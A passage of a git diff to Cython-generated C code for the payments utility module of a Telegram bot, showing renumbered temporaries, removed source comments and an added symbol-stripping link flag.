__Pyx_GOTREF(__pyx_t_4); + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 86, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/utils.py":87 - * else: - * builder.row(InlineKeyboardButton(text=ADD_KEY, callback_data="create_key")) - * builder.row(InlineKeyboardButton(text=RENEW_KEY, callback_data="view_keys")) # <<<<<<<<<<<<<< - * - * await bot.send_message( - */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 87, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 87, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 87, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_14); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_RENEW_KEY); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 87, __pyx_L4_error) - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_RENEW_KEY); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 87, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 87, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_callback_data, __pyx_n_u_view_keys) < 0) __PYX_ERR(0, 87, __pyx_L4_error) - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 87, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __pyx_t_14 = NULL; @@ -5427,110 +5014,75 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_t_9}; - __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_t_4}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 87, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 87, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - - /* "handlers/payments/utils.py":89 - * builder.row(InlineKeyboardButton(text=RENEW_KEY, callback_data="view_keys")) - * - * await bot.send_message( # <<<<<<<<<<<<<< - * chat_id=user_id, - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), - */ - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_bot); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_4); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_send_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 89, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - - /* "handlers/payments/utils.py":90 - * - * await bot.send_message( - * chat_id=user_id, # <<<<<<<<<<<<<< - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), - * reply_markup=builder.as_markup(), - */ - __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 90, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_chat_id, __pyx_cur_scope->__pyx_v_user_id) < 0) __PYX_ERR(0, 90, __pyx_L4_error) - - /* "handlers/payments/utils.py":91 - * await bot.send_message( - * chat_id=user_id, - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_PAYMENT_SUCCESS_MESSAGE); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_format); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 91, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 91, __pyx_L4_error) + + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_bot); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 89, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_9); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_send_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 89, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + __pyx_t_9 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 90, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_chat_id, __pyx_cur_scope->__pyx_v_user_id) < 0) __PYX_ERR(0, 90, __pyx_L4_error) + + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_SUCCESS_MESSAGE); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 91, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_format); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 91, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 91, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 91, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_amount, __pyx_t_8) < 0) __PYX_ERR(0, 91, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_amount, __pyx_t_8) < 0) __PYX_ERR(0, 91, __pyx_L4_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 91, __pyx_L4_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 91, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 90, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 90, __pyx_L4_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/utils.py":92 - * chat_id=user_id, - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 92, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); __pyx_t_14 = NULL; __pyx_t_7 = 0; #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_9))) { - __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_14)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_14); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_9, function); + __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_7 = 1; } } #endif { PyObject *__pyx_callargs[2] = {__pyx_t_14, NULL}; - __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 92, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 90, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 90, __pyx_L4_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/utils.py":89 - * builder.row(InlineKeyboardButton(text=RENEW_KEY, callback_data="view_keys")) - * - * await bot.send_message( # <<<<<<<<<<<<<< - * chat_id=user_id, - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), - */ - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 89, __pyx_L4_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 89, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XGOTREF(__pyx_r); @@ -5568,13 +5120,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } __pyx_L10:; - /* "handlers/payments/utils.py":17 - * - * async def send_payment_success_notification(user_id: int, amount: float): - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id) - * - */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -5588,32 +5133,18 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/utils.py":95 - * ) - * - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" {user_id}: {e}") - * - */ __pyx_t_16 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_16) { __Pyx_AddTraceback("handlers.payments.utils.send_payment_success_notification", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_8, &__pyx_t_4, &__pyx_t_5) < 0) __PYX_ERR(0, 95, __pyx_L6_except_error) + if (__Pyx_GetException(&__pyx_t_8, &__pyx_t_9, &__pyx_t_5) < 0) __PYX_ERR(0, 95, __pyx_L6_except_error) __Pyx_XGOTREF(__pyx_t_8); - __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_9); __Pyx_XGOTREF(__pyx_t_5); - __Pyx_INCREF(__pyx_t_4); - __Pyx_GIVEREF(__pyx_t_4); - __pyx_cur_scope->__pyx_v_e = __pyx_t_4; + __Pyx_INCREF(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_v_e = __pyx_t_9; /*try:*/ { - /* "handlers/payments/utils.py":96 - * - * except Exception as e: - * logger.error(f" {user_id}: {e}") # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_logger); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 96, __pyx_L43_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_error); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 96, __pyx_L43_error) @@ -5665,23 +5196,16 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO #endif { PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_t_25}; - __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 96, __pyx_L43_error) - __Pyx_GOTREF(__pyx_t_9); + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 96, __pyx_L43_error) + __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } - /* "handlers/payments/utils.py":95 - * ) - * - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" {user_id}: {e}") - * - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -5694,8 +5218,8 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); __Pyx_XGOTREF(__pyx_t_18); @@ -5726,19 +5250,12 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_L44:; } __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; goto __pyx_L5_exception_handled; } goto __pyx_L6_except_error; - /* "handlers/payments/utils.py":17 - * - * async def send_payment_success_notification(user_id: int, amount: float): - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id) - * - */ __pyx_L6_except_error:; __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); @@ -5760,13 +5277,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/utils.py":16 - * - * - * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< - * try: - * user_id = int(user_id) - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -6219,24 +5729,10 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - /* "handlers/payments/utils.py":32 - * data = temp_data["data"] - * - * required_amount = data.get("required_amount", 0) # <<<<<<<<<<<<<< - * - * if int(amount) != int(required_amount): - */ __pyx_tuple__3 = PyTuple_Pack(2, __pyx_n_u_required_amount, __pyx_int_0); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); - /* "handlers/payments/utils.py":16 - * - * - * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< - * try: - * user_id = int(user_id) - */ __pyx_tuple__8 = PyTuple_Pack(22, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_create_key, __pyx_n_s_conn, __pyx_n_s_temp_data, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_required_amount, __pyx_n_s_complete_key_renewal, __pyx_n_s_plan, __pyx_n_s_client_id, __pyx_n_s_new_expiry_time, __pyx_n_s_total_gb, __pyx_n_s_cost, __pyx_n_s_email, __pyx_n_s_balance, __pyx_n_s_plan_price, __pyx_n_s_duration_days, __pyx_n_s_moscow_tz, __pyx_n_s_expiry_time, __pyx_n_s_e); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__8); __Pyx_GIVEREF(__pyx_tuple__8); @@ -6631,11 +6127,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif - /* "handlers/payments/utils.py":1 - * from datetime import datetime, timedelta # <<<<<<<<<<<<<< - * - * import asyncpg - */ __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_datetime); @@ -6657,25 +6148,11 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/utils.py":3 - * from datetime import datetime, timedelta - * - * import asyncpg # <<<<<<<<<<<<<< - * from aiogram.types import InlineKeyboardButton - * from aiogram.utils.keyboard import InlineKeyboardBuilder - */ __pyx_t_3 = __Pyx_ImportDottedModule(__pyx_n_s_asyncpg, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_d, __pyx_n_s_asyncpg, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/utils.py":4 - * - * import asyncpg - * from aiogram.types import InlineKeyboardButton # <<<<<<<<<<<<<< - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); @@ -6690,13 +6167,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/utils.py":5 - * import asyncpg - * from aiogram.types import InlineKeyboardButton - * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< - * - * from bot import bot - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); @@ -6711,13 +6181,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/utils.py":7 - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * - * from bot import bot # <<<<<<<<<<<<<< - * from config import DATABASE_URL, USE_NEW_PAYMENT_FLOW, USE_COUNTRY_SELECTION - * from database import clear_temporary_data, get_balance, get_temporary_data, update_balance - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_bot); @@ -6732,13 +6195,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/utils.py":8 - * - * from bot import bot - * from config import DATABASE_URL, USE_NEW_PAYMENT_FLOW, USE_COUNTRY_SELECTION # <<<<<<<<<<<<<< - * from database import clear_temporary_data, get_balance, get_temporary_data, update_balance - * from handlers.buttons.notification import ADD_KEY, PROFILE, RENEW_KEY - */ __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_DATABASE_URL); @@ -6767,13 +6223,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/utils.py":9 - * from bot import bot - * from config import DATABASE_URL, USE_NEW_PAYMENT_FLOW, USE_COUNTRY_SELECTION - * from database import clear_temporary_data, get_balance, get_temporary_data, update_balance # <<<<<<<<<<<<<< - * from handlers.buttons.notification import ADD_KEY, PROFILE, RENEW_KEY - * from handlers.texts import PAYMENT_SUCCESS_MESSAGE - */ __pyx_t_3 = PyList_New(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_clear_temporary_data); @@ -6809,13 +6258,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/utils.py":10 - * from config import DATABASE_URL, USE_NEW_PAYMENT_FLOW, USE_COUNTRY_SELECTION - * from database import clear_temporary_data, get_balance, get_temporary_data, update_balance - * from handlers.buttons.notification import ADD_KEY, PROFILE, RENEW_KEY # <<<<<<<<<<<<<< - * from handlers.texts import PAYMENT_SUCCESS_MESSAGE - * from logger import logger - */ __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_ADD_KEY); @@ -6844,13 +6286,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/utils.py":11 - * from database import clear_temporary_data, get_balance, get_temporary_data, update_balance - * from handlers.buttons.notification import ADD_KEY, PROFILE, RENEW_KEY - * from handlers.texts import PAYMENT_SUCCESS_MESSAGE # <<<<<<<<<<<<<< - * from logger import logger - * import pytz - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_PAYMENT_SUCCESS_MESSAGE); @@ -6865,13 +6300,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/utils.py":12 - * from handlers.buttons.notification import ADD_KEY, PROFILE, RENEW_KEY - * from handlers.texts import PAYMENT_SUCCESS_MESSAGE - * from logger import logger # <<<<<<<<<<<<<< - * import pytz - * - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_logger); @@ -6886,25 +6314,11 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/utils.py":13 - * from handlers.texts import PAYMENT_SUCCESS_MESSAGE - * from logger import logger - * import pytz # <<<<<<<<<<<<<< - * - * - */ __pyx_t_3 = __Pyx_ImportDottedModule(__pyx_n_s_pytz, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_d, __pyx_n_s_pytz, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/utils.py":16 - * - * - * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< - * try: - * user_id = int(user_id) - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_user_id, __pyx_n_s_int) < 0) __PYX_ERR(0, 16, __pyx_L1_error) @@ -6916,11 +6330,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/utils.py":1 - * from datetime import datetime, timedelta # <<<<<<<<<<<<<< - * - * import asyncpg - */ __pyx_t_2 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) diff --git a/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so b/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so index c38a601b..1e3b1e46 100755 Binary files a/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/yookassa_pay.c b/handlers/payments/yookassa_pay.c index 377c94f1..dd72a765 100644 --- a/handlers/payments/yookassa_pay.c +++ b/handlers/payments/yookassa_pay.c @@ -7,6 +7,9 @@ "-O2", "-static-libgcc" ], + "extra_link_args": [ + "-s" + ], "name": 